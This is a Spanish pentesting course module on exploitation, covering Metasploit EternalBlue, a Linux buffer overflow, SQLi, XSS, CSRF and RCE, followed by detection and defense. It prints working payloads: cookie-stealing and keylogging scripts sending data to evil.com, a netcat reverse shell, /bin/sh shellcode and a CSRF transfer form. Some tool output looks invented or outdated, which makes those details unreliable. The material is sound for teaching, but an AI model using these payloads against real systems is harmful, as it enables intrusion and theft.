M3: Explotación de Vulnerabilidades

1. Marco conceptual y ético de la explotación

1.1 La explotación dentro del ciclo de pentesting

En un test de intrusión profesional, la explotación es la fase que **conecta la teoría con la práctica**. Hasta ahora, el auditor:

- Ha identificado servicios, versiones y posibles vulnerabilidades.
- Ha documentado información pública y privada sobre los sistemas.

La explotación busca responder a la pregunta: **"¿Es posible comprometer el sistema con esa información?"**

Metodologías relevantes:

- **PTES (Penetration Testing Execution Standard):** la explotación es el paso natural después del descubrimiento de vulnerabilidades.
- **OSSTMM (Open Source Security Testing Methodology Manual):** trata la explotación como validación de exposición en el entorno real.
- **MITRE ATT&CK:** clasifica técnicas específicas de explotación que los atacantes utilizan.

1.2 Tipos de explotación

La explotación puede clasificarse en varias dimensiones:

1. **Manual vs automatizada:**
   - *Manual:* payloads personalizados, manipulación directa de parámetros, explotación en entornos sin exploits públicos.
   - *Automatizada:* uso de frameworks como Metasploit, sqlmap, BeEF.

2. **Local vs remota:**
   - *Local:* el atacante ya tiene acceso parcial y explota vulnerabilidades para escalar privilegios (ej. exploit de kernel en Linux).
   - *Remota:* se compromete el sistema desde el exterior (ej. RCE en servidor web).
3. **Con autenticación vs sin autenticación:**
   - *Con autenticación:* se aprovechan fallos tras iniciar sesión (ej. CSRF en portal web).
   - *Sin autenticación:* el atacante explota directamente desde el exterior (ej. SQLi en formulario público).

1.3 Riesgos y limitaciones en auditorías

La explotación, aunque necesaria, implica riesgos reales:

- **Inestabilidad del sistema:**
  Algunos exploits pueden causar caída del servicio (ej. exploits de DoS incluidos en ExploitDB).
- **Pérdida de datos:**
  Explotaciones mal diseñadas (ej. inyección SQL con `DROP TABLE`) pueden borrar información crítica.
- **Detección y bloqueo:**
  La ejecución de exploits puede generar alertas en SIEMs, IDS o firewalls, afectando la operación del cliente.

Por eso, un auditor debe siempre:

- Ejecutar primero la explotación en **laboratorio controlado**.
- Avisar al cliente si el exploit tiene riesgo de ser destructivo.
- Documentar cada paso: comando, exploit usado, payload elegido, resultado obtenido.

1.4 Marco legal y ético

En España y Europa, la explotación sin autorización constituye un **delito grave**:

- **Código Penal español, Art. 197 y 264:** acceso ilícito a sistemas y daños informáticos.
- **RGPD (Reglamento General de Protección de Datos):** explotación de datos personales sin consentimiento puede acarrear sanciones millonarias.

En el **hacking ético**:

- La explotación se limita al **alcance firmado en el contrato**.
- Siempre se debe establecer un **"stop condition"**: cuándo detener el ataque para no comprometer estabilidad o datos críticos.
- El objetivo es **evidenciar riesgo**, no causar daño.

Ejemplo de redacción en un informe: "*El servidor Apache 2.4.29 es vulnerable a RCE (CVE-2019-0211). Se ha validado la explotación en laboratorio controlado. No se ha ejecutado contra el sistema en producción por riesgo de inestabilidad.*"

2. Explotación manual y automatizada

2.1 Explotación manual

La **explotación manual** es el proceso en el cual el auditor interactúa directamente con la vulnerabilidad, **sin depender de frameworks preconstruidos**.

Implica creatividad, paciencia y conocimientos técnicos profundos.

2.1.1 Cuándo usar explotación manual

- Cuando **no existen exploits públicos** (*0-days, fallos poco documentados*).
- Para **adaptar payloads** a un entorno específico.
- Cuando el cliente **prohíbe automatización agresiva** por riesgo de inestabilidad.
- Para **evitar detección**, ya que las herramientas automatizadas generan tráfico fácilmente identificable.

2.1.2 Ejemplo: SQL Injection manual

Formulario vulnerable en `login.php`:

```
$query = "SELECT * FROM users WHERE username = '" . $_POST['user'] . "' AND
password = '" . $_POST['pass'] . "'";
```

El auditor introduce:

```
' OR '1'='1 --
```

Resultado: *acceso como usuario válido sin conocer credenciales.*

Evolución del ataque:

1. Payload básico, bypass de login.
2. Prueba de extracción de tablas:

```
' UNION SELECT table_name, null FROM information_schema.tables --
```

3. Identificación de tabla `users`.
4. Extracción de columnas `username`, `password`.

Reflexión: Este proceso manual enseña a **entender la lógica de la vulnerabilidad**, no solo a ejecutarla.

2.1.3 Ejemplo: XSS manual

Campo de búsqueda vulnerable:

```
http://victima.com/search.php?q=<script>alert(1)</script>
```

Resultado: *aparece un `alert(1)` en el navegador*.

Ataques posibles más allá de la prueba básica:

- Robo de cookies:

```
<script>fetch('http://attacker.com?c='+document.cookie)</script>
```

- Keylogger en JS.
- Redirecciones maliciosas.

La explotación manual permite **personalizar payloads** según filtros de entrada (*ej. codificación en HEX, UTF-7, o Polyglots XSS).*

2.1.4 Ejemplo: RCE manual en PHP

Código vulnerable:

```
<?php system($_GET['cmd']); ?>
```

Petición maliciosa:

```
http://victima.com/vuln.php?cmd=ls -la
```

Resultado: *listado de archivos del servidor.*

Ampliación:

```
http://victima.com/vuln.php?cmd=nc -e /bin/sh 10.0.0.1 4444
```

Resultado: *shell reversa en la máquina del auditor.*

2.1.5 Ventajas y desventajas

Ventajas:

- Control total del ataque.
- Comprensión profunda de la vulnerabilidad.
- Menor ruido, menos detección.

Desventajas:

- Requiere más tiempo y conocimientos.
- Mayor probabilidad de error humano.
- Puede ser menos eficiente en auditorías grandes.

2.2 Explotación automatizada

La explotación automatizada utiliza herramientas y frameworks que contienen **exploits listos para usar**.

Aunque no reemplaza la explotación manual, **acelera procesos** y es ideal en entornos controlados.

2.2.1 Metasploit Framework (MSF)

Historia y características:

- Desarrollado en 2003, hoy mantenido por Rapid7.
- Contiene miles de módulos:
  - **Exploit:** código que aprovecha vulnerabilidades.
  - **Payload:** qué hacer tras la explotación (ej. abrir una shell).
  - **Auxiliary:** módulos de escaneo, fuzzing, ataques complementarios.
  - **Post:** acciones tras el compromiso (escalada, extracción de credenciales).

Ejemplo narrado: EternalBlue en Windows

1. El auditor lanza `msfconsole`.
2. Selecciona exploit:

```
use exploit/windows/smb/ms17_010_eternalblue
```

3. Configura parámetros:

```
set RHOSTS 192.168.1.10
set LHOST 192.168.1.20
set PAYLOAD windows/x64/meterpreter/reverse_tcp
```

4. Ejecuta:

```
exploit
```

Resultado en la consola:

```
[*] Started reverse TCP handler on 192.168.1.20:4444
[*] Exploiting target 192.168.1.10...
[*] Meterpreter session 1 opened (192.168.1.20:4444 -> 192.168.1.10:445)
```

El auditor obtiene una sesión interactiva (*Meterpreter*).

Integración de Metasploit con Nmap

Nmap detecta:

```
445/tcp  open  microsoft-ds Windows 7 Professional 7601 Service Pack 1
```

Los resultados se importan en MSF con:

```
db_import nmap_scan.xml
```

Ahora MSF puede sugerir exploits automáticamente:

```
db_autopwn -t -p -e
```

2.2.2 ExploitDB y SearchSploit

ExploitDB:

- Repositorio público de exploits mantenido por Offensive Security.
- Incluye exploits en C, Python, Ruby, PHP, etc.

SearchSploit:

- Herramienta de línea de comandos que consulta ExploitDB localmente.

Ejemplo:

```
searchsploit apache 2.4.29
```

Salida:

```
Apache 2.4.29 - mod_http2 Memory Corruption (DoS)
Apache 2.4.29 < 2.4.48 - Path Traversal / RCE
```

El auditor puede:

1. Copiar exploit a su directorio:

   ```
   searchsploit -m exploits/linux/remote/12345.c
   ```

2. Compilarlo:

   ```
   gcc 12345.c -o exploit
   ```

3. Adaptarlo si es necesario al sistema objetivo.

2.2.3 Comparación Metasploit vs ExploitDB

Característica	Metasploit	ExploitDB/SearchSploit
Facilidad de uso	Alta	Media-baja (requiere adaptación)
Automatización	Completa	Limitada
Personalización	Baja	Alta
Uso ideal	Pentests rápidos, exploits conocidos	Entornos que requieren adaptación o investigación

2.2.4 Ventajas y riesgos de la automatización

Ventajas:

- Ahorra tiempo.
- Fácil de usar y útil para pentesters junior.
- Módulos verificados reducen riesgo de error humano.

Riesgos:

- Demasiado "punto y clic", auditor puede no entender el fallo subyacente.
- Algunos exploits pueden **tumbar sistemas** si no se ajustan parámetros.
- Genera más ruido, por lo que es más detectable por IDS/IPS.

3. Buffer Overflows básicos en Linux

3.1 Introducción a los buffers overflows

Un **buffer overflow** ocurre cuando un programa escribe más datos en un buffer (espacio de memoria reservado) de los que puede manejar.

Al sobrepasar ese límite, los datos se "derraman" sobre áreas adyacentes de memoria, que pueden incluir registros críticos como el **Instruction Pointer (EIP/RIP)**.

Un atacante puede aprovechar este desbordamiento para **redirigir la ejecución del programa hacia código malicioso inyectado en la memoria**.

Este ataque es histórico:

- El primer exploit documentado fue el gusano de Morris (1988), que explotaba un overflow en el servicio `finger` de Unix.
- Hoy en día, aunque mitigado por protecciones modernas (DEP, ASLR, stack canaries), sigue siendo un **pilar fundamental** para entender la explotación en memoria.

3.2 Conceptos básicos de memoria en C

Cuando un programa en C se ejecuta, la memoria se organiza en:

1. **Heap** área para asignaciones dinámicas (`malloc`, `calloc`).
2. **Stack (pila)** donde se almacenan variables locales y direcciones de retorno de funciones.
3. **Registros** CPU guarda direcciones y valores temporales.

Dentro de la pila, lo importante es:

- **EIP/RIP** registro que indica la dirección de la próxima instrucción a ejecutar.
- **ESP** puntero al tope de la pila.
- **EBP** base de la pila para la función actual.

En un overflow, lo que buscamos es **sobrescribir EIP/RIP** para forzar al programa a ejecutar nuestro shellcode.

3.3 Ejemplo de código vulnerable

Programa en C vulnerable:

```
#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[]) {
    char buffer[256];
    strcpy(buffer, argv[1]); // No valida longitud de argv[1]
    printf("Input: %s\n", buffer);
    return 0;
}
```

- El programa reserva 256 bytes para `buffer`.
- Usa `strcpy`, que no limita la longitud de la copia.
- Si el input >256 bytes sobrescribirá memoria adyacente.

Compilar sin protecciones modernas:

```
gcc -fno-stack-protector -z execstack vuln.c -o vuln
```

Parámetros usados:

- `-fno-stack-protector` → desactiva stack canaries.
- `-z execstack` → permite ejecutar código en la pila.

3.4 Crash y observación con GDB

Ejecutamos con una entrada larga:

```
./vuln $(python3 -c "print('A'*300)")
```

El programa se bloquea con "*Segmentation fault*".

Con **gdb**:

```
gdb ./vuln
```

```
run $(python3 -c "print('A'*300)")
```

Salida típica:

```
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
```

`0x41` es ASCII de "A". Esto confirma que hemos sobrescrito el EIP con nuestra entrada.

3.5 Cálculo del offset

Necesitamos saber cuántos caracteres exactos se requieren para alcanzar el EIP.

Generamos un patrón único (*ej. con Metasploit*):

```
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 300
```

Ejecutamos con ese patrón:

```
./vuln $(cat pattern.txt)
```

En gdb vemos el valor del EIP:

```
EIP: 0x39654138
```

Buscamos el offset:

```
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 39654138
```

Resultado: `Offset = 268`.

Esto significa que a los 268 caracteres se sobreescribe el EIP.

3.6 Control del flujo de ejecución

Ahora podemos controlar el EIP:

```
python3 -c "print('A'*268 + 'B'*4 + 'C'*28)" | ./vuln
```

En gdb vemos:

- EIP = `0x42424242` ("BBBB").
  Confirmamos control sobre el flujo de ejecución.

3.7 Inyección de shellcode

Podemos reemplazar los “C” por un shellcode.

Ejemplo clásico: shellcode de Linux para abrir una shell (`/bin/sh`).

```
shellcode = (
  "\x31\xc0\x50\x68\x2f\x2f\x73\x68"
  "\x68\x2f\x62\x69\x6e\x89\xe3\x50"
  "\x53\x89\xe1\xb0\x0b\xcd\x80"
)
```

Payload final:

```
payload = "A"*268 + "RET" + "NOP"*16 + shellcode
```

- `"RET"` dirección de salto a la zona del shellcode.
- `"NOP"` instrucción que no hace nada, crea un “slide” para mejorar precisión.
- `shellcode` ejecuta `/bin/sh`.

3.8 Mitigaciones modernas

Los sistemas actuales implementan defensas:

- **DEP (Data Execution Prevention):** prohíbe ejecutar código en memoria marcada como datos.
- **ASLR (Address Space Layout Randomization):** aleatoriza direcciones de memoria, complicando predecir dónde está el shellcode.
- **Stack canaries:** valores aleatorios en la pila, detectan sobrescritura antes de afectar el EIP.

3.9 Técnicas de bypass

- **NOP sled:** aumenta la probabilidad de ejecutar el shellcode.
- **Return Oriented Programming (ROP):** en lugar de inyectar código, se encadenan instrucciones existentes en el binario.
- **Info leaks:** usan vulnerabilidades adicionales para desactivar ASLR (ej. filtrando direcciones válidas de memoria).

3.10 Relevancia en pentesting moderno

Aunque hoy en día es raro encontrar un overflow puro explotable en entornos actualizados, sigue siendo importante porque:

- Muchos sistemas legacy (Windows antiguos, servidores antiguos, dispositivos IoT) **no tienen protecciones modernas**.

- Permite comprender cómo funciona la explotación en memoria y aplicar ese conocimiento en ataques avanzados (ROP, heap spraying, etc.).
- Es base para certificaciones como OSCP, OSCE y cursos avanzados de explotación.

4. Vulnerabilidades Web

Las aplicaciones web representan uno de los vectores de ataque más frecuentes y críticos.

Según **OWASP Top 10 (2021)**, fallos como **SQL Injection, XSS, CSRF y RCE** siguen siendo protagonistas en auditorías de seguridad.

4.1 SQL Injection (SQLi)

4.1.1 Definición

Un **SQL Injection** ocurre cuando los datos que introduce un usuario se concatenan directamente en una consulta SQL, sin validación ni sanitización.

Esto permite al atacante **alterar la lógica de la query** y ejecutar instrucciones arbitrarias en la base de datos.

4.1.2 Tipos de SQLi

1. **In-band (clásico):** los resultados se devuelven directamente en la respuesta.
   - Ejemplo: `' OR '1'='1 --`
2. **Inferencial (blind):** no devuelve resultados visibles, pero se infiere información.
   - Boolean-based:

     ```
     ' OR 1=1 --
     ' OR 1=2 -
     ```

   - Time-based:

     ```
     ' OR IF(1=1, SLEEP(5), 0) --
     ```

3. **Out-of-band:** el servidor envía datos a otro sistema controlado por el atacante (ej. vía DNS o HTTP).

4.1.3 Ejemplo vulnerable en PHP

```
$query = "SELECT * FROM users WHERE username = '" . $_POST['user'] . "' AND
password = '" . $_POST['pass'] . "'";
```

Entrada maliciosa:

```
' OR '1'='1 --
```

Resultado: *autenticación bypass.*

4.1.4 Explotación manual paso a paso

1. Verificar inyección:

   `' OR '1'='1 --` acceso exitoso.

2. Extraer nombre de tablas:

   ```
   ' UNION SELECT table_name, null FROM information_schema.tables --
   ```

3. Extraer columnas:

   ```
   ' UNION SELECT column_name, null FROM information_schema.columns WHERE
   table_name='users' --
   ```

4. Dump de datos sensibles:

   ```
   ' UNION SELECT username, password FROM users --
   ```

4.1.5 Automatización con sqlmap

```
sqlmap -u "http://victima.com/login.php?user=admin&pass=123" --dbs
```

Opciones avanzadas:

- `--dump` extrae tablas.
- `--os-shell` intenta RCE.
- `--batch` ejecuta sin interacción.

sqlmap puede convertir un SQLi en control total del servidor si hay funciones como `xp_cmdshell` en SQL Server o `sys_exec` en PostgreSQL.

4.1.6 Impacto y riesgos

- Acceso no autorizado.
- Robo o borrado de información sensible.
- Escalada a RCE en algunos motores de base de datos.

4.2 Cross-Site Scripting (XSS)

4.2.1 Definición

Permite al atacante inyectar código JavaScript malicioso que se ejecuta en el navegador de otros usuarios.

4.2.2 Tipos de XSS

- **Reflejado:** el payload se ejecuta inmediatamente en la respuesta.
- **Almacenado:** el payload se guarda en la base de datos y se ejecuta cada vez que otro usuario carga la página.
- **DOM-based:** la vulnerabilidad está en el lado cliente (JavaScript inseguro en el navegador).

4.2.3 Ejemplo básico

URL vulnerable:

```
http://victima.com/search.php?q=<script>alert(1)</script>
```

Resultado: `alert(1)` *en el navegador.*

4.2.4 Payloads avanzados

- Robo de cookies:

```
<script>fetch('http://evil.com?c='+document.cookie)</script>
```

- Keylogger en JS:

```
<script>document.onkeypress=function(e){fetch('http://evil.com?k='+e.key)}</script>
```

- Redirección maliciosa:

```
<script>window.location='http://evil.com'</script>
```

4.2.5 Automatización con BeEF

BeEF (Browser Exploitation Framework):

- Framework para explotar navegadores mediante XSS.
- Permite, una vez enganchado el navegador de la víctima:
  - Captura de cámara.
  - Robo de historial.
  - Escaneo de red interna desde el navegador.

4.2.6 Impacto

- Robo de sesiones.
- Phishing avanzado.
- Persistencia en aplicaciones web sin interacción adicional.

4.3 Cross-Site Request Forgery (CSRF)

4.3.1 Definición

CSRF obliga a un usuario autenticado a ejecutar una acción sin su consentimiento, aprovechando que el navegador reenvía automáticamente cookies de sesión.

4.3.2 Ejemplo práctico

Un atacante construye un formulario oculto:

```
<form action="http://banco.com/transfer" method="POST">
  <input type="hidden" name="to" value="attacker">
  <input type="hidden" name="amount" value="1000">
</form>
<script>document.forms[0].submit();</script>
```

Si la víctima está logueada en `banco.com`, se ejecuta la transferencia automáticamente.

4.3.3 Mitigación

- Uso de **tokens anti-CSRF** únicos y verificados.
- Configuración de cookies con `SameSite=Lax` o `Strict`.
- Validación del encabezado `Referer`.

4.4 Remote Code Execution (RCE)

4.4.1 Definición

Permite ejecutar comandos arbitrarios en el servidor remoto. Se considera una de las vulnerabilidades más críticas porque implica **control total del sistema afectado**.

4.4.2 Ejemplo en PHP

Código vulnerable:

```
<?php system($_GET['cmd']); ?>
```

Payload:

```
http://victima.com/vuln.php?cmd=ls
```

Devuelve el listado de directorios en el servidor.

4.4.3 Explotaciones más avanzadas

- Subida de webshells:
  - El atacante carga un archivo PHP malicioso:

```
<?php system($_POST['cmd']); ?>
```

- Deserialización insegura:
  - Frameworks como Laravel o Java pueden ser explotados con objetos maliciosos.
- LFI + log poisoning:
  - El atacante inyecta código en logs y luego los ejecuta vía inclusión de archivos locales.

4.4.4 Impacto

- Ejecución de comandos del sistema.
- Escalada de privilegios local en el servidor.
- Movimiento lateral dentro de la red interna.

5. Casos documentados de explotación

Caso 1 – Explotación de EternalBlue (MS17-010)

5.1 Contexto

- Servicio vulnerable: SMBv1 en Windows 7 sin parches.
- Vulnerabilidad: MS17-010 (EternalBlue), descubierta tras la filtración de la NSA.
- Impacto real: utilizado por ransomware como WannaCry en 2017.

5.2 Reconocimiento previo

Un escaneo con Nmap detecta:

```
445/tcp  open  microsoft-ds Windows 7 Professional 7601 Service Pack 1
```

5.3 Explotación con Metasploit

1. Lanzamos Metasploit:

   ```
   msfconsole
   ```

2. Seleccionamos el exploit:

   ```
   use exploit/windows/smb/ms17_010_eternalblue
   ```

3. Configuramos:

   ```
   set RHOSTS 192.168.1.10
   set LHOST 192.168.1.20
   set PAYLOAD windows/x64/meterpreter/reverse_tcp
   exploit
   ```

4. Resultado:

   ```
   Meterpreter session 1 opened (192.168.1.20:4444 -> 192.168.1.10:445)
   ```

Impacto: *shell remota con privilegios de SYSTEM*.

5.4 Conclusión del caso

- Vulnerabilidad crítica que permite control total remoto.
- Exploit altamente destructivo si se ejecuta sin control.
- Mitigación: **parchear SMBv1** o deshabilitarlo completamente.

Caso 2 – SQL Injection en portal de login

5.1 Contexto

- Aplicación web de una tienda online.
- Página vulnerable: `login.php`.

5.2 Prueba de login

Entrada en campo usuario:

```
' OR '1'='1 --
```

Resultado: *acceso como administrador sin credenciales.*

5.3 Explotación avanzada

Payload para listar tablas:

```
' UNION SELECT table_name,null FROM information_schema.tables --
```

Respuesta:

```
users
orders
payments
```

Payload para extraer usuarios:

```
' UNION SELECT username,password FROM users --
```

Resultado:

```
admin | 5f4dcc3b5aa765d61d8327deb882cf99
```

(contraseña = `password`, hash MD5).

5.4 Conclusión del caso

- Riesgo: robo de datos sensibles.
- Impacto: acceso a cuentas de cliente, fraude financiero.
- Mitigación: **consultas parametrizadas** (Prepared Statements).

Caso 3 – XSS almacenado en foro

5.1 Contexto

- Aplicación web con un foro público.
- Campo vulnerable: comentarios de los usuarios.

5.2 Explotación

El atacante introduce:

```
<script>document.location='http://evil.com?c='+document.cookie</script>
```

Cada vez que otro usuario visita el comentario, su cookie de sesión se envía a `evil.com`.

5.3 Impacto

- Robo de sesiones de usuarios autenticados.
- Suplantación de identidad.
- Posible escalada si se roba cookie de administrador.

5.4 Conclusión del caso

- Riesgo alto de secuestro de cuentas.
- Mitigación:
  - Escapar caracteres especiales en entradas (<, >).
  - Uso de cabeceras `HttpOnly` en cookies.
  - Implementación de filtros WAF.

Caso 4 – Remote Code Execution (RCE) en PHP vulnerable

5.1 Contexto

- Aplicación PHP con parámetro inseguro:

```
<?php system($_GET['cmd']); ?>
```

5.2 Explotación manual

Petición:

```
http://victima.com/vuln.php?cmd=whoami
```

Respuesta:

```
www-data
```

Payload más agresivo:

```
http://victima.com/vuln.php?cmd=nc -e /bin/sh 10.0.0.1 4444
```

Resultado: *shell reversa en la máquina atacante.*

5.3 Impacto

- Control completo del servidor web.
- Posibilidad de pivotar a la red interna.

5.4 Conclusión del caso

- Mitigación:
  - Nunca usar `system()`, `exec()` con entrada no validada.
  - Aplicar validación estricta de parámetros.

6. Conexión con la defensa

6.1 Introducción

Un buen pentester no solo debe saber **cómo explotar**, sino también **cómo se detecta esa explotación**.
Esto le permite:

- Comprender qué tan ruidoso es su ataque.
- Ayudar al cliente a fortalecer defensas.
- Evitar técnicas poco realistas que no funcionarían contra un Blue Team preparado.

6.2 Detección de explotación en red

6.2.1 IDS/IPS (Intrusion Detection/Prevention Systems)

Herramientas como **Snort, Suricata, Zeek** analizan tráfico en tiempo real y buscan patrones de ataques.

Ejemplo de regla en Snort para detectar SQLi:

```
alert tcp any any -> any 80 (msg:"SQL Injection attempt"; content:"' OR '1'='1"; nocase;)
```

Si alguien intenta `?user=' OR '1'='1`, saltará una alerta.

IPS va más allá: puede **bloquear la conexión automáticamente**.

6.2.2 Firewalls y WAF

- **Firewalls tradicionales:** bloquean puertos sospechosos.
- **WAF (Web Application Firewall):** analizan peticiones HTTP.

Ejemplo: **ModSecurity** (OWASP CRS) detecta patrones típicos de XSS o SQLi.

- Entrada:

```
<script>alert(1)</script>
```

- Respuesta del WAF:

```
403 Forbidden – XSS attack detected
```

6.3 Evidencias en logs

6.3.1 Logs de Apache/Nginx

Cuando un atacante ejecuta un SQLi:

```
192.168.1.50 - - [17/Sep/2025:12:00] "GET /login.php?user=' OR '1'='1 --&pass=123
HTTP/1.1"
```

Cuando ejecuta un XSS:

```
192.168.1.50 - - [17/Sep/2025:12:01] "GET /search.php?q=<script>alert(1)</script>"
```

Un auditor avanzado revisa estos logs tras sus pruebas para ayudar al cliente a configurar alertas.

6.3.2 Logs de base de datos

En MySQL, una inyección puede dejar trazas:

```
Access denied for user 'webapp' at '192.168.1.50' (using password: NO)
```

Indicio de que alguien intentó inyecciones en la capa SQL.

6.3.3 Logs de sistema

En Linux tras un RCE:

```
Sep 17 12:10 webserver bash[2450]: www-data executed /bin/sh
```

En Windows tras EternalBlue:

```
Event ID 4624: Successful logon – Account: SYSTEM
```

6.4 Correlación con SIEM

Un **SIEM (Security Information and Event Management)** como Splunk, ELK o QRadar recoge logs de múltiples fuentes y los correlaciona.

Ejemplo de correlación:

- **Evento 1:** intentos repetidos de SQLi en Apache.
- **Evento 2:** errores de autenticación en MySQL.
- **Evento 3:** inicio de sesión sospechoso en la base de datos.

El SIEM genera una alerta de posible intrusión.

6.5 Técnicas de evasión

El atacante avanzado (y el pentester ético) debe conocerlas, aunque usarlas siempre con autorización:

- **SQLi polimórfico:** variar payloads para evadir detección (ej. `/*!SELECT*/`).
- **XSS ofuscado:**

  ```
  <scr<script>ipt>alert(1)</scr</script>ipt>
  ```

- **Fragmentación de paquetes en Nmap:** evitar firmas detectables por IDS.
- **Uso de decoys:** mezclar tráfico real con tráfico falso para confundir defensas.

6.6 Buenas prácticas defensivas

- **Hardening de aplicaciones web:** validar entradas, usar consultas parametrizadas.
- **Monitorización activa:** revisar logs de Apache/MySQL en tiempo real.
- **Implementación de WAF con reglas OWASP CRS.**
- **Segregación de redes:** los servidores web nunca deberían tener acceso directo a bases de datos críticas sin control intermedio.
- **Parcheado constante:** EternalBlue solo fue posible porque muchas empresas no aplicaron parches disponibles meses antes.

6.7 Ejemplo detección de SQLi

Escenario en el que un pentester ejecuta:

```
http://tienda.com/login.php?user=' OR '1'='1 --
```

- En los **logs de Apache**: queda registrado el payload.
- El **WAF** devuelve un error 403.
- El **SIEM** correlaciona múltiples intentos con la misma IP.
- El **equipo de seguridad** recibe una alerta automática.

Conclusión: incluso un ataque simple deja huellas si la organización está bien monitorizada.